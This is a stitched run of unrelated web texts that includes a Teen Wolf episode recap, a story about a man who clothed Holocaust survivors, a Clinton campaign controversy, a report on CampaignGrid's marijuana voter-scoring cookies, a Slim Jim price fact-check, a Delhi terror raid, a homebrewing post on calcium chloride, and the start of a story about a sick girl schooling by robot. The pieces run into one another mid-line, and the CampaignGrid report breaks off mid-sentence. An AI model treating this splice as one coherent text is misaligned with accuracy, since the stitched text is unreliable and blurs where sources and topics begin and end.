Peter explains that after Derek and Paige’s first meeting the teens took to making out in any abandoned building they could find. (And there are a lot of abandoned buildings in Beacon Hills, OK?) But their favorite spot was an abandoned distillery. Stiles asks how Peter knows so much about the romantic habits of his nephew. He says it’s because in addition to being Derek’s uncle he was also his best friend and confidant, and that might very well be true, but we also see in the flashback that Peter’s totally creeping on Derek and Paige in that abandoned distillery while they, ahem, get to know each other a little.
Ew, young Peter. Stop it. That’s gross.
Derek and Paige are having a conversation about, tee hee, liking one another: Paige thinks Derek only started liking her because she didn’t like him, and now that she does like him it’s only a matter of time before he stops liking her. Oh, teenagers. The CW drama is put on hold when Derek hears some mysterious sounds and smells blood. They vacate the premises just in the nick of time.
Ennis shows up, with him a whole bunch of other packs, including Kali’s and Deucalion’s. It turns out the beta the hunters were looking for at the beginning of the episode was one of Ennis’. The hunters found and killed him, and boy is he pissed about it. Kali doesn’t give a hoot—it’s not her beta, so why should she?—and a random werewolf named Marco points out that Ennis’ beta did kill a hunter, after all.
Among all the Alphas currently in Beacon Hills, Gerard tells Scott and Allison, there was one with a rare gift to shapeshift to a full wolf form. She was wise and a natural leader, and all the other Alphas welcomed her guidance. And there she is in the flashback, stalking up in wolf form and shifting into a red-eyed woman.
Her name? Talia Hale. Hi, Derek’s mom! I may or may not have shrieked “Mama Haaaaaale!” a little bit at this point.
Ennis says he’s done with playing nice with humans, but a surprisingly reasonable, not-crazy-evil Deucalion points out that seeking vengeance will just escalate the werewolf/hunter feud into an all-out war, and walking down that path would mean they’re no better than the people they profess to hate. Ennis ain’t give a damn, though, and he carves the Werewolf Vengeance Spiral into the wall of the abandoned building. Stuff’s about to get real.
One of the reasons Ennis is so ticked is that the authorities won’t let him see his beta’s body. We get a short scene of him at the hospital tangling with then-Deputy Stilinski, who tells him no matter how close he was to the deceased, he’s not family. There was absolutely no point to that scene other than giving us a quick glimpse of young Papa Stilinski, and I don’t even care.
Cora puts a the brakes on Peter’s storytime, asking how the heck Beacon Hills werewolf drama relates to her brother’s past relationship troubles and current angst parade. Peter says something cryptic about there being a “confluence of events” and how Derek saw in the Alphas’ presence an opportunity to “always be with” his lady love.
From there it’s back to the music room, where Derek and Paige have a soft-lit makeout session that frankly felt a little wrong to watch. Sure, Scott and Allison were sophomores in season one like Derek and Paige are now, and we saw them getting all smoochy-smoochy without too much weirdness, but… I don’t know. It was just uncomfortable.
And short-lived, thankfully. Peter plops down at Derek’s table at lunch despite the fact that he’s not technically a student and shouldn’t be allowed on school grounds. Nobody will ban him, he says, because he’s too attractive. Well, he is a looker, I’ll give him that. But shouldn’t he have a job or something? Or school? I can’t imagine creeping on one’s pubescent nephew pays well, though I suppose he could take along a textbook and study while lurking outside abandoned buildings. Regardless.
Modern-day Peter says past-Derek was obsessed with the idea of turning Paige, but in the flashback we see that it was Peter who put the notion in his head in the first place. She’ll find out eventually, he says. The only way to avoid the eventual “OMG MY BOYFRIEND IS A MONSTER” is to turn her into one herself. Um… I’m sorry, I imagine getting your girlfriend turned into a monster without her consent is probably more of a relationship-breaker than just admitting “Hey, I’m a werewolf.”
(Also in this scene: Conspicuous product placement. Peter: “She’s perfect for you. [Bites into a Reese’s Peanut Butter Cup] Perfect combinations are rare.” But not in the candy aisle of your local grocery store, where you can indulge in the perfect combination that is peanut butter and chocolate, amirite?)
Later, in the locker room (a strange adult’s hanging out in a high school locker room? What the heck, BHHS teachers?!), Peter tells Derek his idea to get one of the alphas in town to turn Paige. Notably, present-Peter tells Cora and Stiles that that was allllll Derek’s idea, even though he probably convinced himself it was Peter’s. Someone needs to slap this dude before the end of the season, I swear. Preferably Lydia. Where is she, by the way?
Flashback Chris and Deaton are in an abandoned building, where they see an old tree with a Celtic rune on it. It means the Druids were there, and they probably weren’t playing Yahtzee, because there’s sacrificial blood on the floor, too. (Though I’ve heard Yahtzee can get pretty bloody.) Allison asks Gerard how Deaton knows about Druids. Turns out he’s one of their emissaries, a.k.a their go-betweens with the rest of the world, including werewolves. Gerard tells Scott and Allison the werewolf origin story (cobbled together by the writers from some actual Greek myths): Lycaen was a guy who defied the gods by trying to feed them human flesh. In retaliation, they turned him and his sons into wolves. They asked the Druids to change them back, but all the Druids could manage was to teach them how to shift from human to wolf.
Storytimes coincide then as Cora explains to Stiles that Druids have always helped werewolves connect to humanity. Deaton was the emissary for Talia Hale’s pack, and his sister Ms. Morrell is the emissary to the Alpha pack. “Our guidance counselor?,” Stiles responds, horrified. “Why the hell aren’t you people telling me any of this stuff? I shared some really intimate details with her!” Oh, Stiles.
Back into flashback land, where Deaton asks Deucalion and Talia if they’ve heard the story of the scorpion and the frog. Something tells me I’m about to, says Deucalion. The frog’s going to carry the scorpion across a river on his back, but first he needs some assurance that the scorpion won’t sting him. That would be stupid, the scorpion says, because then we’d both die. Also, holy crap, I can talk! But halfway across the river the scorpion stings the frog anyway. When the frog asks why, the scorpion replies: “It’s just my nature, bro. *dies*”
Deaton’s cryptic lesson here, as the werewolf-hunter feud heats up, is not to underestimate Gerard’s (evil, evil, evil) nature. If someone’s going to confront him, Talia says, they’d better not go in alone. Don’t worry, Deucalion responds. I never walk alone. *cue electric guitar wail*
Then we cut to Paige wandering the halls of BHHS late at night looking for Derek. Can we all agree that the school needs better locks, and has done for a while? Jesus Christ. She’s attacked by Ennis, whom Derek asked to bite her. (Stupid! Stupid! Stupid! And wrong! Ask first, Derek!) At the last minute Derek changes his mind, running from the locker room to save Paige… but it’s too late. Ennis has already taken a chomp.
(Oh, and Peter’s creeping on this, too. He creeps on all.)
Back in the present Gerard tells Scott and Allison that he knew things were about to get ugly in Beacon Hills. How did he know? Why, Scott, have you heard the myth of the scorpion and the frog?
Heck yes, thinks Scott. All those fables Deaton subjected me to finally came in handy. I know this one. Suck it, Gramps.
The point, Gerard says, is that werewolves are by nature evil, and that he knew when he went to meet with Deucalion he was walking into an ambush.
And he was. But he was the one doing the ambushing. He debilitates the werewolves using some sort of gas (I didn’t catch the explanation—I assume there was wolfsbane in it? But wolfsbane is bad for humans, too, and while the werewolves were writhing on the floor Gerard was completely unaffected. Ah, heck, I don’t even know.) and then proceeds to bash their heads in with a spiked mace. Deucalion manages to crawl away, but Gerard follows him, quieting the alpha’s protestations that he only wants peace by jamming electrified arrows into his eyes.
Ow. Ow ow ow ow.
I’m not sure what’s worse, though: Gerard blinding Deucalion, turning a previously good guy into the DEMON WOOOOOOLLLLFFF we know today, or the fact Gerard said Deucalion’s “vision of peace” was “a little short-sighted, wouldn’t you say?” before stabbing his eyes out.
That’s a really bad pun, after all.
(Maybe it’s just the fact that I’ve come to know the glory that is Gerard actor Michael Hogan‘s Battlestar Galactica character since starting Teen Wolf, but… I kind of liked Gerard this episode? Not as a person, don’t get me wrong. The guy set an ambush for werewolves, killing those who had never done him any wrong and being truly cruel to Deucalion. But, as a villain, he’s growing on me. I found him interesting here in a way I never really did in previous episodes.)
Edging away from controversial opinions about Teen Wolf‘s most hated character… not everyone bitten by an Alpha werewolf accepts their werewolfitude, and it turns out Paige is one of the unlucky ones. Derek’s carried his dying girlfriend to their favorite abandoned warehouse, where she tells him “I think I knew” about you being a werewolf, or at least not completely human. A ton of weird stuff goes on in this town, and you can hear things that people shouldn’t be able to hear. She says she still loves him and can’t take the pain anymore, so will he please put an end to it?
He embraces her, then delivers her a Death by Hug.
Peter tells Stiles and Cora that he helped Derek bury his body where no one would find it; she’d just be another one of Beacon Hills’ mysterious “animal attacks.” From that day forth Derek’s eyes were blue—the color that denotes a werewolf has killed an innocent.
I have a real problem with the whole Derek-forced-to-kill-his-first-love thing in this episode. First: Do we really need more causes for Derek’s angst? At first his constant manpain was a joke, like “Can Derek ever have anything nice in his life? Anything? Ever?” But we get it, writers. Having Derek carry around the baggage of killing his girlfriend on top of the baggage of being seduced by the woman who used him to kill his family is a bit much.
Plus, the character-development-through-dead-girlfriend trope is clichéd and problematic enough, but did you really have to do in the only not-related-to-the-supernatural-human who figures “Hey, there’s some crazy stuff that goes on in this town, plus my boyfriend’s senses are, in a word, inhuman—maybe he’s not human“?
On balance I liked this episode—I thought it was really well done, and even if I didn’t get to see all the Hale backstory I might’ve liked to (where was Laura? Tumblr says she was there putting a blanket around her mother’s shoulder for, like, a split second, but I missed that), that’s not what the show’s about. And heck, that’s what fanfic is for.
But the dead girlfriend thing…. I don’t like it. Nope.
But back to the story. Deaton tells Deucalion that, while his eyes will physically heal, he’ll never get his sight back. Deuc loses it, yelling at Deaton, Talia, and Marco to leave him alone. Marco doesn’t, though, saying “You are alone” (wow, dick move, Marco), so Deucalion kills him. As he shreds his fellow wolf, we see his eyes change, and finally we learn the meaning of Gerard’s cryptic “He may have lost his eyes, but he’s not always blind” statement from earlier.
Turns out it was fairly straightforward: Deucalion can see when he’s a wolf.
Storytime’s over for Scott and Allison, but before they go Scott proceeds to get his threat on, telling Gerard that if he was lying about anything, and if it gets people killed, he’ll be back to “take away more than your pain.”
In the Loft du Hale Stiles is sharing similar concerns with Cora about Peter. Something about him makes Stiles think he might not have been telling the truth about some things. What are you going to do, asks Cora, quiz him about his dead girlfriend?
Yeah, maybe, Stiles said. A million Sterek shippers just opened up their word docs and started writing fic.
For one last dose o’ pain we see bb!Derek, huddled alone in the warehouse, being comforted by his mom. She knows what he did, and though his eyes are different now, they’re still beautiful. Just like the rest of him. Then the episode closes with a shot of modern Derek in that same warehouse gazing significantly at Ennis’ vengeance spiral.
Sniff. Sniff.
Are you following The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google +?At Pesach Tikvah, everyone passed around copies of the group portrait that an Army photographer took in 1945. The women, in their dresses made from the cloth bought at gunpoint, posed at the Eschwege school with an Army chaplain, Robert S. Marcus, who had been comforting the frail survivors at Buchenwald, too. Mr. Golub’s original copy of the photo, which he donated in 1999 to Yad Vashem, Israel’s Holocaust memorial, is inscribed on the back with the women’s names and a thank-you note to Mr. Golub.
The crowd took photos of Mr. Golub and the survivors holding up copies of the group portrait. People admired the varied collars, sleeves, buttons and pockets on the dresses and remembered the names of ancestral Hungarian villages. Mr. Golub, a retired toy and sporting goods distributor from Canton, Mass., briefly summarized his own 70 ensuing years spent raising five children with his wife, Dorothy. In the crowd, taking more pictures and answering and asking questions, was the Golubs’ daughter Abby Sullivan, her husband, Gary Sullivan, and their children.
Image An undated photograph of Mr. Golub.
There were brief speeches by Pesach Tikvah executives and the head of the board, Rabbi David Niederman. But mostly, impromptu blessings poured forth for Mr. Golub: “There isn’t enough ink to write down all the good deeds that you did!” and “You saved a whole people!” and “May you live to be 120!”
Mr. Golub did not intend to be fussed over. “I’m a little embarrassed by it all, to tell you the truth,” he said in a side conversation. “I don’t need the honor. I’m just happy that I played a very, very small part in helping unfortunate people. I felt that it was a duty that had to be done.”
A year ago, Mr. Sullivan, a prominent dealer in American antiques, had grown curious about the fates of the women in the matching dresses and tried to research them. In July he was put in touch with a Hungarian museum expert, Anna Czekmany, who contacted various institutions including Beit Hatfutsot, the Museum of the Jewish People in Tel Aviv. She was eventually directed to a German historian, Fritz Brinkmann-Frisch, who runs a memorial museum for slave labor victims in Stadtallendorf, where the Hungarian women had performed hazardous, filthy tasks for Dynamit Nobel, a chemical and weapons company.
Mr. Brinkmann-Frisch had previously seen the 1945 portrait and met with the Eschwege survivors over the years. He sent Mr. Sullivan some contact information from the 1990s. Mr. Sullivan unearthed phone numbers for a few women who had settled in Brooklyn, but he reached older people who could not hear well and preferred to speak Yiddish. Last month, he was put in touch with Pearl Lam and Rivka Schiller, researchers who are fluent in Yiddish, who made visits and calls. Ms. Schiller also suggested contacting Pesach Tikvah, in case anyone there recognized any names on the photo.
It so happened that the volunteer coordinator for the agency’s Holocaust survivor program, Sara Lichtenstadter, is an in-law of the Gruenzweig family. She had heard the story of the dresses many times.Your first name
Hillary Clinton’s attempt at pandering to Hispanic voters backfired on Tuesday.
An article posted to the wealthy, 68-year-old white woman’s campaign website entitled “7 ways Hillary Clinton is like your abuela” led to the creation of the Twitter hashtags #NotMiAbuela and #NotMyAbuela.
“Abuela” is Spanish for grandmother. Clinton announced on Monday that she will become a grandmother for the second time. Chelsea Clinton and her millionaire hedge fund husband, Marc Mezvinsky, have one daughter.
In the post, Clinton’s campaign asserted that the Democrat is just like an average Hispanic grandmother because “she worries about children everywhere” and “she knows what’s best.” Her harsh criticism of Donald Trump was cited as a plus, as was her support from Puerto Rican musician Marc Anthony.
But many Hispanic Twitter users saw through the political ploy.
For starters, they noted that Clinton doesn’t speak Spanish. Others pointed out that Clinton has not worked in the same kinds of jobs that many Hispanic grandmothers have had to work.
My abuela doesn't speak English & can make better empanadas. Calm down with the comparisons. #NotMiAbuela #hispander https://t.co/WdYhNq3ugk — Monica Castillo (@mcastimovies) December 22, 2015
Hillary Clinton #NotMiAbuela cuz mine doesn't make shady deals – at the expense of poor communities and poc – to get ahead — Emilio Vicente (@emiliovcnt) December 22, 2015
My grandmother doesn't have a steady income and has no wealth. @HillaryClinton's a multimillionaire. #NotMiAbuela — Aura Bogado (@aurabogado) December 22, 2015
For other Clinton critics, the obvious political calculation behind the post was too much to handle.
The @HillaryClinton campaign pimping out 'abuela' to endear her to the latin community is insulting! #notmyabuela https://t.co/Faq4EwIsR3 — Nikki Strong (@IAMNikkiStrong) December 22, 2015
I wonder whose bright idea it was for the Hillary Clinton campaign to do this disingenuous abuela thing. #NotMiAbuela — Adriana Maestas (@AdrianaMaestas) December 22, 2015
THIS LIST THO. It's like the algorithm is: Spanglish + talk about "respeto" + Hillary gif + Marc Anthony = Latino Vote — Gabe Gonzalez (@gaybonez) December 22, 2015
Others accused the candidate of “Hispandering.”
During her current White House bid, Clinton has flip-flopped on a number of immigration-related issues. While she once opposed granting driver’s licenses to illegal aliens, she now supports doing so. She’s also said that she will go beyond President Obama’s executive amnesties by allowing even more illegal aliens to stay in the U.S.
Follow Chuck on TwitterIf you're reading this, there's a good chance you have a cookie on your computer or your smartphone that says how much you like weed—or at least how you feel about the idea of weed being legalized.
The cookie reflects a score that was calculated for you by CampaignGrid, a digital advertising company that has spent the last five years creating a database with information on over 120 million potential voters. It then uses this information to determine the likelihood of a given voter being pro-legalization. The higher your score, the more likely your opinion on pot is favorable. If you’re young, make over $85,000 and live in Maryland, your score is probably 85 or so. If you are registered as a Republican in a sparsely populated town in Wyoming, your score is likely lower than 50.
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These scores weren't just calculated for fun; they were used to get out the vote for legalization in Oregon, Florida and Alaska, all states where pro-marijuana groups had hired CampaignGrid to help them win over voters. If you lived in one of those states, and your score indicated you were likely in favor of legalization, you would have seen ads as you surfed the Internet that encouraged you to leave the hotbox and get to the ballot box. If your score was in a range that indicated you were "persuadable" on the issue, pro-legalization groups would have targeted you with ads about the benefits of marijuana, doctors' assurances that it's safe, and testimonials from people who want to be able to use it for medical reasons. If you had a low score … *crickets.*
Brian Franklin, a political consultant at Impact Politics, which was pushing medical marijuana in Florida for United for Care, says that his organization surveyed voters and found evidence the online ads had an effect on those who were undecided in the lead-up to the election. "People who were predicted to be undecided voters were moved by online ads," said Franklin. "We hit who we wanted to hit and the ads were effective."
Florida failed to pass legalization last fall by a hair, but pot was legalized in Oregon and Alaska. And though that's not concrete proof that its methods worked, CampaignGrid is taking a victory lap anyway. "I think it's fair to say we contributed to those successes, though there were other players involved as well," says CampaignGrid president Jordan Lieberman.
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The advertising industry has been using algorithmic targeting techniques to sell consumer goods to people on Facebook and Twitter for years, but the application of those techniques to politics could swing elections, change laws, and upend the old models of voter persuasion.
“This kind of behavioral and demographic targeting has been going on [in business] since the early 2000s," said Jonathan Mayer, a lawyer and computer scientist who specializes in privacy and security issues as a graduate fellow at Stanford University. "The private sector is now targeting people using precise geotargeting and beacons, which political campaigns are just starting to dabble in it. The news—good or bad—is that they are catching up quickly.”
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CampaignGrid and similar firms could play a large role in the elections of the future. Their data sets, coupled with predictive analytics, give them the ability to mobilize—and potentially sway—large groups of voters for any cause willing to pay for the technology. (This time around, CampaignGrid was only showing pro-legalization ads, but it's a mercenary-for-hire, and could work with the other side in the future.)
This was the first campaign in which CampaignGrid firm rolled out what it calls "the marijuana cookie." Understanding how CampaignGrid created that cookie, and how it assigns scores based on the collected data that results, reveals the planning, preparation and inexact science that goes into voter profiling in the digital age.
Fort Washington, Pa.-based CampaignGrid was founded in 2007, but didn't get rolling until 2010. It now has a database of over 120 million people that contains up to 170 "attributes" per person. In a PowerPoint presentation obtained by ProPublica in 2012, CampaignGrid said that a file on a given voter might reveal the following: "Lives in Pennsylvania's 13th Congressional District, 19002 zip code, Registered primary voting Republican, High net worth household, Age 50-54, Teenagers in the home, Technology professional, Interested in politics, Shopping for a car, Planning a vacation in Puerto Rico."
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Lieberman, who worked on a Congressional campaign and ran a magazine about campaigning before joining the firm in 2010, says the files aren't quite as specific as that. He called the claims in the PowerPoint presentation a "typo" and said that the CampaignGrid employee who created it "used aggressive language about our ability to target." He added: "It was very ambitious and inaccurate."
According to Lieberman, much of the voter data in CampaignGrid's files was purchased from other brokers—such as the political data-mining behemoth L2, which has a massive database of voting behavior, census data, and "exclusive lifestyle and issue data." L2's data might include the magazines you subscribe to, or your shopping habits as gleaned from the loyalty cards you use to get discounts. CampaignGrid's big idea was taking this data, and layering on additional “attitudinal information” about voters; the company's chief analytics officer Alex Gochtovtt defines this as "what motivates people to action.”
The marijuana cookie is an example of one of these attitudes. CampaignGrid started with a telephone survey in May 2014 of over 16,000 people across the country drawn from its database. Over 12,000 of those contacted agreed to answer questions about their politics, though they had no idea when they did so that they were being contacted on behalf of a company that already knew a lot of information about them.
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“That has an unsavory quality to it," says Mayer. "Calling you to ask you about the details in your file without telling you has a bad odor."
But the survey wasn't just about what was in potential voters' files—it was about what wasn't there. After peppering the subjects with general prompts, such as “Are you an active voter?” and “Are you likely to vote on referendum issues?”, the surveyors got to the question CampaignGrid couldn't mine from an existing database: “How likely are you to support marijuana legalization?”
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“We didn’t ask about whether their support was for recreational versus medicinal use,” says Lieberman. “We thought that would be privacy-invasive. Compliance with the survey goes up if it’s less intrusive."
Gochtovtt says the survey found an equal split between people who were for, against, on the fence about, and ambivalent regarding marijuana legalization. They then passed the survey results to their data science team to come up with a way to predict how someone in their database would vote. Because the survey subjects were sourced from the company's files, the data scientists had up to 170 other discreet pieces of data on each of these 12,000 respondents, which they used to come up with those people's likely verdict. After their initial 12,000-person survey, CampaignGrid created an algorithmic model to score the millions of other people in the database using the same methods. The scores the model predicted matched the ones the respondents have given, which meant that the algorithm had worked.
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Gochtovtt said that the most telling factors in the model were age and party affiliation—young Democrats, for example, tended to support marijuana legalization. (Yes, they really needed an algorithm to figure that out.) "Other factors" come into play in different geographical areas, though, says Lieberman.
Whether CampaignGrid's techniques amount to a dark art, or a potential privacy nightmare, is a different question from whether they're effective. While Lieberman says that the whole voter-targeting process is "privacy-respective," CampaignGrid's online advertising material trumpets the firm's ability to target individuals, not just people who fall within a given demographic. "While other voter-targeted platforms typically use modeled voter data – which leads to inefficient and frankly inaccurate targeting – our approach allows you to target specific registered voters online," says its website. (Emphasis ours.)
Gochtovtt walked that claim back a bit in a phone interview. While CampaignGrid does have individual names in its database, he said, the firm strips those names before they do online targeting. "We cannot target specific named individuals since we require a minimum of 1,000 individuals in a cell before we can target," he said.
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These marijuana-sentiment cookies, which CampaignGrid placed onto hundreds of millions of digital devices in total, weren't easily detectable. They originated on a cookie-serving platform called Turn, which then used Google's Doubleclick for Ad |
: Cost Of Snapping Into A Slim Jim Hasn't Spiked
Enlarge this image toggle caption Nati Harnik/AP Nati Harnik/AP
We all know the rising cost of food is a real problem — but apparently, it hasn't had much of an effect on the meaty, salty snack staple known as the Slim Jim.
That's what Slim Jim maker ConAgra told PolitiFact.com when the news operation set out to fact-check potential presidential candidate Sarah Palin's recent complaint in an interview with Newsweek that due to inflation, the price of her husband Todd's Slim Jims had gone up from 99 cents to $2.69.
And food marketers everywhere are probably applauding, because ConAgra got a big PR boost out of the whole thing.
What Palin said:
I was ticked off at Todd yesterday. He walks into a gas station as we're driving over from Minnesota. He buys a Slim Jim — we're always eating that jerky stuff — for $2.69. I said, 'Todd, those used to be 99 cents, just recently!' And he says, 'Man, the dollar's worth nothing anymore.' A jug of milk and a loaf of bread and a dozen eggs — every time I walk into that grocery store, a couple of pennies more...
The suggestion that Slim Jim prices had nearly tripled brought a response from ConAgra Foods.
Teresa Paulsen, a ConAgra spokeswoman, told PolitiFact, "We admire Mr. Palin's taste and appreciate his support." But Paulsen added, "We haven't raised the price significantly on any Slim Jim products."
Paulsen also offered a potential explanation for what the Palins saw as a price hike.
"Our iconic Slim Jim Giant Sticks are priced around $1.30," she said. "Mr. Palin might have been reaching for one of our Slim Jim Monster Sticks, which offers double the meat for $2.30, or our Slim Jim Kippered Beef Steak, which typically sells for around $2.65."
Now, we know that politicians everywhere like to use folksy anecdotes to show they are just like us. And it's not just Republicans — remember candidate Obama's flop with the price of arugula at Whole Foods comment?
If all this talk of Slim Jim makes you think about the recent death of "Macho Man" and Slim Jim spokesman Randy Savage, MEDIAite has a nice link to an old commercial that will give you a fix.The Delhi Police's Special Cell appears to have unearthed a major terror plot with the recovery of several AK-47 assault rifles, hand grenades and a huge cache of explosives from a hotel near Jama Masjid during a raid there yesterday.Sources say the overnight raid was conducted based on information provided by a suspected Hizbul Mujahideen terrorist who was arrested by the Delhi Police from Gorakhpur in Uttar Pradesh.A bomb disposal squad was also present outside the hotel at the time of the raid. Several other men have also been detained from the area for interrogation.The alleged terrorist, Liyakat Shah, hails from Kupwara in Jammu and Kashmir and is believed to be associated with the Hizbul Mujahideen for the last 15 years.Shah was on way to Delhi in a train when he was arrested from Gorakhpur, police sources said. He was produced in a court yesterday which sent him to police custody for 15 days.Sources say he will now be interrogated about the recent militant attack on a paramilitary camp in Srinagar.Inspired by the great New England IPAs, after aroma, mouthfeel is probably the second thing I look for in a great hop forward beer. Malt profiles are important, but subtle tweaks are hardly noticeable in a heavily hopped beer and for the most part I don’t care for a lot of malt character anyways (my preference of course). IBU levels are also important, but I have a hard time detecting a difference in slight IBU changes from one beer to another or even whirlpool addition changes. Changes in mouthfeel on the other hand can be very easy to detect, but not always easy to achieve.
A hoppy beer with an extremely soft and silky-like mouthfeel is one of the main characteristic traits distinguishing a New England IPAs from a traditional IPA. To my palate, this softness quality seems to aide in rounding out a beers bitterness to flavor levels helping to make the overall experience a little more in balance and elegant. I hear a lot about beers being in balance in terms of malt to hops, but I really have no idea what this means. What does resonate with me though is this idea of bitterness being balanced with hop flavor and I’m inclined to think that mouthfeel softness helps meld this ratio.
I haven’t always been after a soft mouthfeel in IPAs; I’ve evolved (to steal a politician’s word). just a few years ago I was brewing heavy sulfate IPAs and trying to get them as dry as possible, mostly because this is what I was reading on blogs and listening to on podcasts on the best methods. Don’t get me wrong, I enjoyed these beers, but as I got the chance to try some of the great New England IPAs I was immediately questioning my current methods. The incredible soft mouthfeel these beers had really seemed to bring the flavors to the forefront and the bitterness seemed to only aide in the impression of a hop saturated flavors. I, like many others, were obsessed with this quality in the New England hoppy beers and started chasing a softer mouthfeel, and this post documents my experience and research on the topic.
Changes in Brewing Process | Relation to Mouthfeel Softness
I almost completely focus my brewing on hoppy mid-low ABV flavorful beers. Of course I still brew and really enjoy aged sours and tart saisons, but the majority of these beers get solid dry-hop treatment as well! This focus on basically one style has really been valuable (I think) in being able to constantly tweak these beers in various ways in an attempt to improve them. Every beer I brew I record my scores from 0-5 in a number of categories as a way of scoring all the various aspects of the beer. I rank everything from bitterness levels, hop aroma detectability, minerality, stability, clarity, hop oil information, aroma characteristics, head retention, excitement level, etc.
I mention this overly obsessive rating system because in a previous post, I looked at 25 batches of beer all fermented with WLP002 and examined what factors had the biggest influence on final gravities with the English yeast strain. For this post focused on mouthfeel, I decided to look at the same 25 batches, all with WLP002, and examine what factors had the biggest impact on my mouthfeel softness scores. I also looked at a few studies on the subject in an attempt to put a little academic data behind my results to see if they stack up or not.
One main reason I chose to focus on this set of 25 batches is because recent experience (as well as the experience of others) has shown me that yeast choice alone can greatly influence mouthfeel. So focusing on beers all fermented with the same yeast strain avoids the yeast factor altogether. Keep in mind that many of these beers were created and tested before and after I started attempting to achieve a softer mouthfeel in hoppy beers, so although you’re always tempted to rate things higher when you’re trying to achieve a certain goal, many data points were entered without this stated goal even in mind or prior to me even tasting a New England IPA.
Below are the results from correlating the data from the 25 batches to different brewing process changes to the mouthfeel score I gave each beer. Below the chart is a more in-depth look at each process change and possible explanations for the results.
Calcium Chloride
As you can see from my experience, calcium chloride alone had the biggest impact on increasing my mouthfeel softness score. As the grams/gallon of calcium chloride (CaCl2) increased, so did my softness rating. The same is true with the gypsum/calcium chloride ratio (S04/CaCl2), as the ratio of gypsum to calcium chloride decreased (negative relationship) so did my mouthfeel softness score.
Although slightly dated, an interesting review published in 1992 titled, “The Mouthfeel of Beer – A Review,” which looked at various factors influencing the mouthfeel included a discussion on calcium chloride. Right away the review says “Although no sensory evidence exists, it is generally assumed that chloride ions yield beers which are “rounder” more full and mellower and softer in the palate.” Although no hard evidence was presented for this claim, even in 1992 there seemed to be an agreement that calcium chloride aided mouthfeel. The review goes on to use the work of another study in an old Journal of the Institute of Brewing that described the taste of chloride ion as “sweet” and full.” An early 90’s Journal of the American Society of Brewing Chemists found a positive correlation with the chloride concentration of 30 commercial beers when describing the beer’s fullness. Lastly, a 1981 paper found that beers produced with CaCl2 were preferred to beers produced with calcium sulfate.
With no data explaining why, a 1967 paper presented the “proper” sulfate:chloride ratios in different styles of beer suggesting the following:
Beer Type Sulfate:Chloride Ratio Dry, Bitter, Pale Ale 2:1 Full, Sweeter, Mild Ale 2:3 Softer, Stout requires little sulfate
I’m not sure if I completely agree with the ratios, but it was interesting to me that for softer styles of beer (like a stout) “very little sulfate” is required. Looking at this recommendation in the current lens of New England IPAs, I couldn’t help to think that maybe I should be approaching this style as if it was closer to a traditional softer stout style of beer to achieve a softer palate for the hops. When I first started brewing hoppy beers I read that my water profile should be similar to the Burton-On-Trent water profile in order to accentuate the hops. This water profile is absolutely S04 crazy with a ratio of 51:1. While I haven’t brewed with water this extreme, I have gone as high as 6:1. Although this particular beer wasn’t terrible by any means, I did end up rating it below average in mouthfeel softness and sweetness (more on sweetness below). I also noted that the water additions in this particular beer were “a little too heavy, I get salty/mineral aftertaste that doesn’t seem appropriate.”
In the 25 batches looked at above, the S04/CaCI2 ratio ranged anywhere from 4.7:1 to 0.45:1. As the scatter chart of these beers below shows, I had the most successes in terms of softness when the ratio was around 1.5:1, which is close to an even split of gypsum/calcium chloride. I’ve recently tried a batch with 100% calcium chloride, which wasn’t the slam dunk as I thought it might be, I definitely considered the mouthfeel soft, but it wasn’t enough to convince me there isn’t a role for sulfates in hoppy beers still, what that role is I’m not sure yet.
An article in the Journal of Automated Methods & Management in Chemistry furthered the notion of using less sulfates in hopped beers. The article states that “an excess of sulfate gives a sharp, dry edge to well-hopped beers and the level present should be minimized as much as possible.” Unless your goal is dryer sharper IPAs, this seems like further proof to lower the levels of gypsum in hoppy beers. My personal experience with heavy sulfate hoppy beers are that the hop flavor is reduced and the bitterness perception increases becoming harsher as the level increases.
I think it’s fair to say that most brewers will add all of their mineral additions to the mash, possibly splitting the additions in two, treating the strike and sparge water separately. What if we approach it in the same way but withhold a portion of the calcium chloride addition and add it directly to the boil? With no grains from the mash acting as a filter of sorts removing some of the chloride, it seems possible this direct addition to the boil could enhance the softness effect. I’ve experimented with adding the calcium chloride addition calculated for the sparge water only directly to the boil, but have backed that number down a little. It may be I’m sensitive to minerality in beers, but now I’m targeting around 4 grams of calcium chloride or less directly into the boil for a 5 gallon. So I’m withholding about 3.5-4 grams of the chloride addition from the sparge to add to the boil for a 5 gallon batch with reverse osmosis water. My last attempt at this was for a S04/CaCI2 ratio of 0.8:1 (111.6 ppm Sulfate and 131.5 ppm Chloride). [UPDATE: I’ve tried adding the sparge water minerals directly to the boil a number of times and wasn’t thrilled with the results. I felt like I was getting more a mineral taste to the beer which seemed to be enhancing the dryness a touch more than I wanted. I now treat just the mash and sparge water and don’t add anything directly to the boil].
As far as the optimal level (ppm) of chloride to have in a beer, I’m not sure. A 1971 journal recommended a level of ~200 mg/L of CaCl2 to produce a lager with a proper mouthfeel.. This recommendation seems a little high based on my own experience and it’s for a lager (and dated). The highest I went in the 25 batches examined above was 182.5 ppm. I have a good friend and great brewer who has gone as high as 250 ppm of chloride without success describing the beer as medicinal and astringent. It might also depend on how much gypsum you’re adding to the beer as well.
Lastly on calcium chloride, to experiment with chloride you can always try adding a little to your beer after fermentation (directly to a pint) to see if you like what the elevated levels does for the beer. You can also try adding it to other liquids like coffee to test its softness ability. I gave it a shot in a CHEMEX with reverse osmosis water, I added less than a gram of calcium chloride to 600 grams of reverse osmosis water and 40 grams freshly coarse ground coffee. Sure enough, it was a little softer and fuller (although I was probably looking for this, I should have added it directly to cup and done a side-by-side). I might just start adding some chloride to coffee all the time now (I brew coffee with R/O water as well).
There has also been a look at the sulfate levels of hop forward beers and it’s effect on hop flavor. A “clear negative correlation” with sulfate levels and perceived hop flavors was found. This suggests that not only does increased sulfate levels detract from the softness of the mouthfeel, it also can lower the hop flavor of a beer!Just months before Peyton Walton was to start the fifth grade she was diagnosed with a rare form of liver cancer. With the help of a robot, she is able to attend classes at Poolesville Elementary School in Maryland while she undergoes weeks of radiation in New York. (Ashleigh Joplin and Amanda Voisard/The Washington Post)
The robot has a little girl’s face, her soft voice. It comes to life on weekday mornings at Peyton Walton’s elementary school in Maryland, attending her classes as she works the controls from her room near a hospital here.
Peyton is 10, thin and blue-eyed, a girl who loves penguins and the color green and clothes that sparkle. She goes to school in Montgomery County, 250 miles south of the radiation therapy she is receiving for a rare type of cancer.
